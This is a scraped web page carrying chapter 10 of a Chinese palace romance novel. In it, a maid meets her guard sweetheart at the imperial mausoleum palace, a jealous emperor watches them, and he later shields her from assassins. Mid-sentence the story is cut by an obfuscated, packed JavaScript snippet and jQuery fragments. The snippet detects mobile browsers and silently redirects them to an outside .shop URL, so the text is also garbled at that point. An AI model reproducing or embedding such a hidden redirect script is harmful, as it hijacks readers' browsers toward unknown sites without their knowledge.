文趣网 > 其他小说 > 风荷露 > 10. 第 10 章
    不觉间已至四月,本朝以孝治天下,每年清明,皇帝都要亲率文武百官前往皇陵举行祭祀大典。

    今年尤为隆重,因国丧期将满,前朝御史奏请广纳妃嫔,以充后宫,虽被皇帝压下,但朝野间却议论纷纷,遂皇帝此番率百官谒陵,亦有安定人心之意。

    东方泛白,晨光熹微,宫中已是一片肃穆的喧腾。

    沈含章寅时就起身,她和素云以及坤宁宫一众宫女,伺候楚明怡梳妆。

    楚明怡身着翟衣,她头戴九龙九凤冠,两侧各插博鬓,浑身透着端庄的气质。

    沈含章走上前来,她颇为轻柔地替楚明怡系好革带,随即奉上深青色的蔽膝,动作十分熟稔。

    楚明怡回头,她神色关切,语气温和道:“含章,你的脸色不大好。”

    沈含章顿了顿,笑道:“许是昨夜没睡好,娘娘不必挂心。”

    她夜里确实没有歇息好,自那日在宫道上遇到皇帝,挣脱逃走之后,她夜夜惊梦,总是梦见他漆黑的眼眸盯着自己,深不见底,像是幽深的潭水,随时要将她吞没。

    所幸这半月来皇帝再未踏足坤宁宫,仿佛那日之事从未发生过。

    沈含章起初提心吊胆,生怕龙颜大怒,降罪于她,过了几日发觉皇帝并未来寻她,才暗自松了一口气,只当是皇帝一时兴起,过后便忘了她。

    辰时正,銮驾出宫。

    宫门戒严,依仗森严,前有锦衣卫开道,后有禁军,其后是庞大的仪仗队,遮天蔽日。

    皇帝乘御马,他面容肃穆,头戴红樱白翎盔,身着甲胄,腰间佩剑,浑身透着威严的气势,而皇后楚明怡则是乘坐玉辂,凤冠霞帔,神色端庄,不肯露半分疲倦。

    宫人内侍和文武百官各乘马车随行,依仗出了正阳门,经大明门,沿着御道向西,待过承天门,再转向北,浩浩荡荡地向皇陵而去。

    楚明怡看着给自己捶腿的沈含章,她眼神心疼,劝道:“含章,你歇歇吧,离到皇陵还早。”

    “奴婢不累。”沈含章摇了摇头,笑道。

    楚明怡看着沈含章,她欲言又止,最终没说什么。

    皇陵位于京城西北的天寿山,是太宗皇帝钦定,自太宗以下,历代先皇皆葬于此,陵寝依山而建,气势恢宏,与天接壤。

    待到达皇陵,祭祀大典正式举行,大殿之中,供奉着列祖列宗的牌位,香火缭绕,庄严肃穆。

    皇帝及扈从官员均着青服,皇后则换素雅常服,率百官行三跪九叩大礼,读祝百官诵祭文,回荡在殿宇之间。

    沈含章跪在楚明怡的身后,她看着庄严巍峨的大殿,心中不禁生出几分敬畏。

    她掀起眼帘,看着皇帝跪在最前方,不知为何在这一刻,她忽然觉得,这个高高在上的天子,其实也很孤独。

    祭祀结束,天色已近黄昏,皇帝在行宫设宴,犒赏随行的文武百官,楚明怡身子不适,她先行回到寝殿休息。

    沈含章伺候她用了些清粥小菜,楚明怡胃口不好,未用多少。

    “你也去歇着吧。”楚明怡轻声道,“这边有苏嬷嬷在,过几日还要回銮,路上辛苦。”

    沈含章颔首,她应了一声,轻手轻脚地退了出去。

    她站在廊下,望着天边最后一抹霞光,不由得想起陆淮安。

    他是禁军,此番自然随驾护卫,也在行宫驻扎。

    她已有多日未见他的面,心中思念,便趁着四下无人,悄悄地往禁军驻守的方向走去。

    行宫依山而建,禁军的营房在西侧偏院。

    沈含章提着灯笼,她沿着回廊走过去,心中既欢喜又忐忑,唇角不自觉地弯起一抹笑意。

    待转过一道月洞门,她远远地看见陆淮安站在廊柱下,身着甲胄,腰佩长刀,身姿挺拔如松。

    陆淮安听到动静,他转过头,眼中一亮,快步迎了过来。

    “含章。”陆淮安环顾四周,他压低嗓音,语气中是掩饰不住的欣喜,询问道,“你不是在侍奉皇后娘娘,怎地有空过来?”

    沈含章走到他面前,她仰头看着他俊朗的面容,轻声道:“幸得皇后娘娘体恤,我才有空来寻你。”

    陆淮安见四下无人,他伸手将她拉到廊柱的阴影里,握住她柔若无骨的手,他手掌宽厚而温暖,带着薄茧,让她心中莫名地安定下来。

    “对了,上回你说皇后娘娘要为我们赐婚,可是真的?”陆淮安眼中带着期待,询问道。

    沈含章点了点头,她垂眸,脸颊微红,羞涩道:“娘娘是这么说的,她还说要给外祖母写信,就是不知何时定下。”

    陆淮安低声笑道:“太好了,含章,我等你这么久,总算等到这一日了。”

    沈含章心中一甜,她靠在他的肩头,轻声道:“淮安哥哥,我有些怕。”

    “怕什么?”

    “怕,怕我们走不到那一日。”沈含章面露犹豫,她的嗓音低了下去,突然想起皇帝深沉的眼眸,心中生出一丝不安。

    陆淮安看着她白净如瓷的小脸,她眼眸如秋水般柔和,清莹莹的,仿佛能滴出水来。

    “别怕,有我在,等我们成婚,就可以去过我们自己的日子。”陆淮安温声安抚道。

    听了这话,沈含章垂下眼眸,莹白如花的脸浮现出一抹羞涩,宛如柔嫩的玉兰花,散发出淡淡的清香。

    陆淮安见她唇角噙着羞怯的笑意,他情不自禁地将她揽入怀中。

    沈含章将脸埋在他肩头,嗅着他身上淡淡的皂角香,心中的不安逐渐散去。

    就在他们低声交谈的时候,没有注意到不远处的一座假山后,一双漆黑的眼眸正冷冷地盯着这一幕。

    皇帝本是无意间走到此处。

    今日祭祀完毕,他心中怅然,遂屏退随从,独自一人在行宫中走走,不料竟看见这一幕。

    他心心念念的女子,正靠在另一个男人的怀里,笑靥如花。

    皇帝脸色阴沉,他的手指猛地攥紧。

    真是好一段郎情妾意。

    怪不得……

    怪不得她那日对他避之不及,原来是早就心有所属,她看他的眼神里只有恐惧,没有半分情意。

    她怕他,她躲他,都是因为这个男人。

    皇帝站在假山后,他嘴唇紧抿,眉宇间满是阴沉。

    他想冲出去,想质问沈含章,可他没有动,只是冷冷地看着。

    皇帝想起自己这些时日以来,夜夜辗转难眠,脑海中全是她的影子。

    她站在玉兰树下捡花的模样,她捧着茶盏时低垂的眉眼,她被他拦住时惊慌失

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963636|214389||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    措的眼神。

    一幕一幕,挥之不去……

    他是天子,要什么样的女人没有?

    可偏偏,他放不下她。

    而她呢?

    她在别的男人怀里笑得那么甜。

    皇帝再也看不下去,他冷笑一声,转身离去。

    他疾步回到寝殿,挥退内侍,独自坐在书案前,拿起一本奏折,却一个字也看不进去。

    他脑中全是方才的画面,沈含章靠在男子的肩头,眼中满是依恋和柔情。

    她从未用这样的眼神看过他,一次都没有。

    皇帝睁开眼睛,眼中一片冷意。

    祭祀结束后,定在四日后回銮,皇帝下旨,顺道视察金山卫。

    金山卫是京畿重镇,驻军数万,拱卫京师。

    皇帝在金山卫阅兵,视察防务,又召见当地官员,询问民情。

    沈含章随楚明怡暂驻在行馆,日子倒比在宫中清闲许多,她总觉得有些不安,但多日未见到皇帝,便觉得是自己想多了。

    视察结束后,皇帝在金山行馆设宴,犒赏随行的文武百官及当地士绅。

    宴席设在行馆正厅,灯火辉煌,丝竹悦耳。

    楚明怡作为皇后坐在皇帝的身侧,沈含章侍立在楚明怡身后,为她斟酒布菜。

    皇帝瞥了沈含章一眼,他神色不豫,用力地将酒盏放下,吓得王内侍不敢吭声。

    宴席过半,觥筹交错,气氛逐渐变得热络起来。

    “不好,有刺客!”

    一道惊呼声突然响起,众人大惊失色,旋即是兵刃相交的脆响和此起彼伏的惨叫声。

    沈含章猛地抬头,她瞧见数道黑影从厅外飞掠而入,手中长剑寒光凛冽,直扑主位。

    事出突然,席间已是大乱,满座宾客仓皇逃窜。

    “护驾,快护驾……”王内侍脸色大变,尖声叫道。

    内侍们乱作一团,禁军和锦衣卫迅速围拢过来,将皇帝和楚明怡护了起来。

    沈含章急忙扑向楚明怡,一把将她拉到身后,用自己的身子挡住她,颤声道:“娘娘小心……”

    楚明怡没料到会有刺客,她脸色发白,紧紧地握住沈含章的手,道:“含章,你……”

    刺客来势颇为凶猛,他们各个身手矫健,禁军虽多,但一时难以制伏。

    在混乱之中,沈含章不慎被人群挤散,与楚明怡分开,跌跌撞撞地被人推搡到厅外。

    她踉跄着站起来,四周一片漆黑,只有远处厅堂传来尖叫声。

    沈含章心中害怕,她想要往回跑,却听见身后传来急促的脚步声。

    一个黑衣刺客发现她,提剑追了过来。

    沈含章神色惊恐,她拼命地向前跑去。

    可她的脚步哪里比得上刺客?

    沈含章眼看刺客追来,她吓得身子一软,跌倒在地,凄惶的眼眸里满是惊惧和害怕,死死地闭上眼。

    预想中的疼痛却未到来,但闻刺客发出痛苦的哀嚎声,沈含章睁开双眼,只见皇帝不知何时挡在她的面前。

    刺客的长剑划破他的手臂,鲜血直流。

    沈含章惊恐地抬头。

    皇帝神色冷峻,他一手捂着受伤的手臂,另一只手夺过刺客的剑,反手刺入对方的胸口。